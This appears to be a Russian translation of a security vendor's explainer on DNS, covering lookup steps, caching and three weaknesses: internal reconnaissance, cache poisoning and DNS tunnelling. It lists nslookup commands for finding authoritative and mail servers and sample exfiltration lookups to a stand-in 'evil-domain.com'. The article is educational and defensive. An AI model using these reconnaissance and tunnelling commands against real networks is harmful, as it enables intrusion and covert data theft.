Что такое DNS, как это работает + уязвимости

08.09.2021

Система доменных имен (DNS) - это интернет-версия Желтых страниц. В старину, когда вам нужно было найти адрес компании, вы искали его в Желтых страницах. DNS такой же, за исключением того, что вам на самом деле не нужно ничего искать: ваш компьютер, подключенный к Интернету, делает это за вас. Это то, как ваш компьютер знает, как найти Google, ESPN.com или Varonis.com.

Протокол требует, чтобы два компьютера могли обмениваться данными в IP-сети. Подумайте об IP-адресе как об уличном адресе - чтобы один компьютер «нашел» другой, ему нужно знать номер другого компьютера. Поскольку большинство людей лучше запоминают имена - www.varonis.com - чем числа - 104.196.44.111, им нужна была программа для компьютеров, которая переводила бы имена в IP-адреса.

Ненавидите компьютеры в профессиональном плане? Попробуйте карты против ИТ.

Программа для преобразования имен в числа и наоборот называется «DNS», или система доменных имен, а компьютеры, на которых работает DNS, называются «DNS-серверами». Без DNS нам пришлось бы запоминать IP-адрес любого сервера, к которому мы хотели бы подключиться, - неинтересно.

Как работает DNS

DNS является такой неотъемлемой частью Интернета, что важно понимать, как он работает.

Думайте о DNS как о телефонной книге, но вместо того, чтобы сопоставлять имена людей с их почтовыми адресами, телефонная книга сопоставляет имена компьютеров с IP-адресами. Каждое сопоставление называется «записью DNS».

В Интернете много компьютеров, поэтому нет смысла собирать все записи в одну большую книгу. Вместо этого DNS организован в виде небольших книг или доменов. Домены могут быть очень большими, поэтому они организованы в более мелкие книги, называемые «зонами». Ни один DNS-сервер не хранит все книги - это было бы непрактично.

Вместо этого существует множество DNS-серверов, которые хранят все записи DNS для Интернета. Любой компьютер, который хочет узнать номер или имя, может запросить свой DNS-сервер, а его DNS-сервер знает, как запрашивать - или запрашивать - другие DNS-серверы, когда им нужна запись. Когда DNS-сервер запрашивает другие DNS-серверы, он делает «восходящий» запрос. Запросы для домена могут идти «вверх по течению», пока не вернутся к полномочиям домена или «авторитетному серверу имен».

Авторитетный сервер имен - это то место, где администраторы управляют именами серверов и IP-адресами своих доменов. Всякий раз, когда администратор DNS хочет добавить, изменить или удалить имя сервера или IP-адрес, он вносит изменения в свой авторитетный DNS-сервер (иногда называемый «главным DNS-сервером»). Также существуют «подчиненные» DNS-серверы; эти DNS-серверы содержат копии DNS-записей для своих зон и доменов.

Четыре DNS-сервера, загружающие веб-страницу

  • DNS-рекурсор:DNS-рекурсор - это сервер, который отвечает на DNS-запрос и запрашивает адрес у другого DNS-сервера или уже имеет сохраненный IP-адрес для сайта.
  • Корневой сервер имен: корневой сервер имен - это сервер имен для корневой зоны. Он отвечает на прямые запросы и может возвращать список авторитетных серверов имен для соответствующего домена верхнего уровня.
  • Сервер имен TLD:Сервер домена верхнего уровня (TLD) - это один из DNS-серверов высокого уровня в Интернете. При поиске по адресу www.varonis.com сначала ответит сервер TLD для домена .com, а затем DNS выполнит поиск по запросу varonis.
  • Авторитетный сервер имен:Авторитетный сервер имен является последней остановкой для DNS-запроса. Официальный сервер имен имеет DNS-запись для запроса.

Типы службы DNS

В Интернете есть два различных типа DNS-сервисов. Каждая из этих служб обрабатывает запросы DNS по-разному в зависимости от их функции.

  • Рекурсивный преобразователь DNS:рекурсивный преобразователь DNS - это DNS-сервер, который отвечает на DNS-запрос и ищет авторитетный сервер имен или кэшированный результат DNS для запрошенного имени.
  • Авторитетный DNS-сервер:Авторитетный DNS-сервер хранит DNS-запрос. Поэтому, если вы запрашиваете у авторитетного DNS-сервера один из его IP-адресов, ему не нужно спрашивать никого другого. Авторитетный сервер имен является последней инстанцией для этих имен и IP-адресов.

Публичный DNS и частный DNS

DNS был создан, чтобы люди могли подключаться к услугам в Интернете. Чтобы сервер был доступен в общедоступном Интернете, ему нужна общедоступная запись DNS, а его IP-адрес должен быть доступен в Интернете - это означает, что он не заблокирован брандмауэром. Публичные DNS-серверы доступны всем, кто может к ним подключиться, и не требуют аутентификации.

Интересно, что не все записи DNS являются общедоступными. Сегодня, помимо разрешения сотрудникам использовать DNS для поиска вещей в Интернете, организации используют DNS, чтобы их сотрудники могли находить частные внутренние серверы. Когда организация хочет, чтобы имена серверов и IP-адреса были конфиденциальными или недоступными напрямую из Интернета, они не перечисляют их на общедоступных DNS-серверах. Вместо этого организации перечисляют их на частных или внутренних DNS-серверах - внутренние DNS-серверы хранят имена и IP-адреса для внутренних файловых серверов, почтовых серверов, контроллеров домена, серверов баз данных, серверов приложений и т. Д. - всего важного.

Что следует помнить - как и внешние DNS-серверы, внутренние DNS-серверы не требуют аутентификации. Это потому, что DNS был создан давно, когда безопасность не была такой большой проблемой. В большинстве случаев любой, кто находится внутри брандмауэра - путем проникновения или подключенного через VPN - может запрашивать внутренние DNS-серверы. Единственное, что мешает кому-либо «извне» получить доступ и запросить внутренние DNS-серверы, - это то, что они не могут подключиться к ним напрямую.

  • Общедоступный DNS:чтобы сервер был доступен в общедоступном Интернете, ему нужна общедоступная запись DNS, а его IP-адрес должен быть доступен в Интернете.
  • Частный DNS: компьютеры, которые находятся за брандмауэром или во внутренней сети, используют частную запись DNS, чтобы локальные компьютеры могли идентифицировать их по имени. Внешние пользователи Интернета не будут иметь прямого доступа к этим компьютерам.

7 шагов поиска DNS

Давайте посмотрим, как именно работает DNS-запрос.

  1. Запрос DNS запускается, когда вы пытаетесь получить доступ к компьютеру в Интернете. Например, вы набираете www.varonis.com в адресной строке браузера.
  2. Первая остановка для DNS-запроса - это локальный DNS-кеш.Когда вы получаете доступ к разным компьютерам, эти IP-адреса сохраняются в локальном репозитории. Если вы ранее посещали www.varonis.com, у вас есть IP-адрес в вашем кеше.
  3. Если у вас нет IP-адреса в локальном кэше DNS, DNS проверит его с помощью рекурсивного DNS-сервера.Ваша ИТ-группа или поставщик услуг Интернета (ISP) обычно предоставляет для этой цели рекурсивный DNS-сервер.
  4. У рекурсивного DNS-сервера есть собственный кеш, и если у него есть IP-адрес, он вернет его вам.Если нет, он спросит другой DNS-сервер.
  5. Следующая остановка - это серверы имен TLD, в данном случае сервер имен TLD для адресов .com.У этих серверов нет нужного нам IP-адреса, но они могут отправлять DNS-запрос в правильном направлении.
  6. На серверах имен TLD находится официальный сервер имен для запрашиваемого сайта.Авторитетный сервер имен отвечает IP-адресом для www.varonis.com, а рекурсивный DNS-сервер сохраняет его в локальном кэше DNS и возвращает адрес вашему компьютеру.
  7. Ваша местная служба DNS получает IP-адрес и подключается к www.varonis.com, чтобы загрузить все великолепное содержимое.Затем DNS записывает IP-адрес в локальный кеш со значением времени жизни (TTL). TTL - это время, в течение которого локальная запись DNS действительна, и по истечении этого времени DNS снова выполнит процесс, когда вы в следующий раз запросите Varonis.com.

Что такое типы DNS-запросов?

DNS-запросы - это компьютерный код, который сообщает DNS-серверам, что это за запрос и какую информацию он хочет получить обратно. В стандартном поиске DNS есть три основных DNS-запроса.

  • Рекурсивный запрос:в рекурсивном запросе компьютер запрашивает IP-адрес или подтверждение того, что DNS-сервер не знает этот IP-адрес.
  • Итеративный запрос:итеративный запрос, который запрашивающая сторона запрашивает у DNS-сервера лучший ответ, который у него есть. Если DNS-сервер не имеет IP-адреса, он вернет авторитетный сервер имен или сервер имен TLD. Запрашивающая сторона будет продолжать этот итеративный процесс до тех пор, пока не найдет ответ или не истечет время ожидания.
  • Нерекурсивный запрос:преобразователь DNS будет использовать этот запрос для поиска IP-адреса, которого нет в его кеше. Они ограничены одним запросом на ограничение использования полосы пропускания сети.

Что такое DNS Cache + Caching Functions

Кэш DNS - это хранилище доменных имен и IP-адресов, которые хранятся на компьютере, поэтому ему не нужно каждый раз запрашивать IP-адрес. Представьте, что каждый раз, когда какой-либо пользователь пытается перейти на www.varonis.com, DNS должен запрашивать авторитетный сервер имен в Varonis. Трафик будет огромным! Сама мысль о таком большом трафике - вот почему у нас есть кеширование DNS. Кэширование DNS преследует две основные цели:

  • Ускорьте DNS-запросы
  • Уменьшите пропускную способность DNS-запросов через Интернет

Однако методология кеширования DNS имеет некоторые проблемы:

  • Изменениям DNS требуется время для распространения - это означает, что может пройти некоторое время, прежде чем каждый DNS-сервер обновит свой кеш до последних данных IP.
  • DNS-кеш - потенциальный вектор атаки для хакеров

В Интернете используется несколько различных типов кэширования DNS:

  • Кэширование DNS в браузере:текущие браузеры примерно в 2018 г. имеют встроенную функцию кэширования DNS. Разрешение DNS с помощью локального кеша выполняется быстро и эффективно.
  • Операционная система (ОС) DNS-кеширование:ваш компьютер является DNS-клиентом, и на вашем компьютере есть служба, которая управляет разрешением и запросами DNS. Этот DNS-кеш также является локальным, поэтому быстрый и не требует полосы пропускания.
  • Рекурсивное разрешение DNS-кеширования:каждый DNS-рекурсор имеет DNS-кеш и хранит любой IP-адрес, который он знает, чтобы использовать для следующего запроса.

Слабые стороны и уязвимости DNS

Следует остерегаться трех основных уязвимостей DNS, которые злоумышленники часто используют для злоупотребления DNS:

  1. Внутренние DNS-серверы хранят все имена серверов и IP-адреса своих доменов и будут делиться ими со всеми, кто их спросит.Это делает DNS отличным источником информации для злоумышленников, когда они пытаются провести внутреннюю разведку.
  2. Кеши DNS не являются «авторитетными», и ими можно манипулировать.Если ваш DNS-сервер «отравлен» плохими записями, компьютеры могут попасть в плохие места.
  3. DNS ретранслирует информацию запросов от внутренних рабочих станций к внешним серверам,и злоумышленники научились использовать это поведение для создания «скрытых каналов» для эксфильтрации данных.

Используйте DNS для разведки

Как только злоумышленник находится внутри брандмауэра и получает контроль над компьютером, он может использовать DNS для поиска важных имен серверов. Злоумышленники могут искать имена, связанные с внутренними IP-адресами - почтовые серверы, серверы имен - все виды ценных вещей. Если они достаточно сообразительны, они могут даже получить внутренний DNS-сервер для отправки большого количества информации о зонах их домена - это называется «атакой передачи зоны DNS».

Если у вас компьютер Windows, выполните следующие команды как есть; если вы пользователь Linux, вы можете найти соответствующие команды.

  1. Откройте командную строку (введите Ctrl + esc, буквы «cmd» и введите).
  2. Введите ipconfig
  3. Вы увидите DNS-домен, в котором вы находитесь (DNS-суффикс для конкретного подключения), ваш IP-адрес и множество других вещей. Вы захотите вернуться к этому.
  4. Введите nslookup [IP-адрес]. Вы увидите имя отвечающего DNS-сервера и, если имя известно, DNS-запись с указанием имени и IP-адреса.
  5. nslookup –type = soa [ваш домен] Эта команда возвращает ваш авторитетный DNS-сервер, это было бы удобно, если бы вы пытались проникнуть в сеть.
  6. nslookup –type = MX [ваш домен] Эта команда возвращает все почтовые серверы в вашем локальном домене на тот случай, если вы хотели взломать почтовые серверы и не знали, где они находятся.

Используйте DNS для перенаправления трафика

Помните, что когда пользователь пытается перейти на веб-сайт, его компьютер запрашивает у своего DNS-сервера IP-адрес сайта или запись DNS. Если DNS-сервер имеет кэшированную копию записи, он отвечает. В противном случае он запрашивает «вышестоящий» DNS-сервер, передает результаты обратно конечному пользователю и кэширует их для следующего раза.

Злоумышленники придумали способ подделать ответы DNS или сделать так, чтобы ответы выглядели так, как будто они исходят от законных серверов DNS. Не вдаваясь в технические подробности, злоумышленники используют для этого три слабых места в DNS:

  1. DNS выполняет очень слабую проверку ответов, поступающих от вышестоящих серверов.Ответы просто должны содержать правильный идентификатор транзакции, который представляет собой всего лишь 16-битное число (0-65536). Оказывается, что вам не нужно так много людей в комнате, чтобы иметь возможность отдать предпочтение двум из них, имеющим один и тот же день рождения, оказывается, что угадать правильный идентификатор легче, чем вы думаете.
  2. DNS-серверы принимают одновременные (или почти одновременные) ответы на свои запросы, позволяя злоумышленникам делать несколько предположений об идентификаторе транзакции (что мало похоже на атаку грубой силы на пароль).
  3. IP-соединения, используемые DNS, легко подделать.Это означает, что злоумышленник может отправить трафик на DNS-сервер с одного компьютера и сделать так, чтобы он выглядел так, как будто он идет с другого компьютера, как действительный DNS-сервер. Только определенные типы IP-соединений легко подделать - DNS является одним из них.

Если злоумышленник успешно подделывает ответ DNS, он может сделать кэш принимающего DNS-сервера зараженной записью. Так как это поможет злоумышленникам?

Вот пример. Допустим, злоумышленник узнает, что ваша организация использует внешнее приложение для чего-то важного, например для покрытия расходов. Если они отравляют DNS-сервер вашей организации так, что он отправляет каждого пользователя на сервер злоумышленника, все, что им нужно сделать, это создать легитимную страницу входа в систему, и пользователи будут вводить свои учетные данные. Они могут даже ретранслировать трафик на реальный сервер (действуя как «человек посередине»), чтобы никто не заметил. Затем злоумышленник может попробовать эти учетные данные в других системах, продать их или просто отпраздновать это злобным смехом.

Используйте DNS как скрытый канал

Допустим, злоумышленнику удалось проникнуть в сеть (corp.com), скомпрометировать один или два хоста и найти важные данные, которые он хочет эксфильтровать. Как они могут сделать это, не подавая никаких сигналов тревоги? Для этого злоумышленники используют метод, называемый «DNS-туннелирование». Они настраивают DNS-домен (например, evil-domain.com) в Интернете и создают авторитетный сервер имен. Затем на взломанном хосте злоумышленник может использовать программу, которая разбивает данные на небольшие части и вставляет их в серию поисков, например:

  • nslookup My1secret1.evil-domain.com
  • nslookup is1that1I1know.evil-domain.com
  • nsllookup how2steal1data.evil-domain.com

DNS-сервер corp.com получит эти запросы, поймет, что результатов нет в его кеше, и ретранслирует эти запросы обратно на авторитетный сервер имен evil-domain.com. Злоумышленник ожидает этот трафик, поэтому он запускает программу на полномочном сервере имен, чтобы извлечь первую часть запроса (все, что было до evil-domain.com) и собрать ее заново. Если организация не проверяет запросы своих DNS-серверов, они могут никогда не понять, что их DNS-серверы использовались для кражи данных.

DNS существует уже давно, и каждый компьютер, подключенный к Интернету, полагается на него. Злоумышленники теперь используют DNS как для внешней, так и для внутренней разведки, для перехвата трафика и создания скрытых каналов связи. К счастью, с помощью мониторинга DNS-серверов и применения аналитики безопасности многие из этих атак можно обнаружить и предотвратить.

Хотите увидеть как? Присоединяйтесь к нашим семинарам по кибератакам в режиме реального времени, когда наши инженеры по безопасности проводят живую атаку - извлекают данные через туннелирование DNS и просматривают все в реальном времени!

Джефф работал над компьютерами с тех пор, как его отец принес домой IBM PC 8086 с двумя дисками. Работа его мечты - это исследование и написание статей о безопасности данных.

Сергей Иващенко

08.09.2021

Подписывайтесь на наши социальные сети!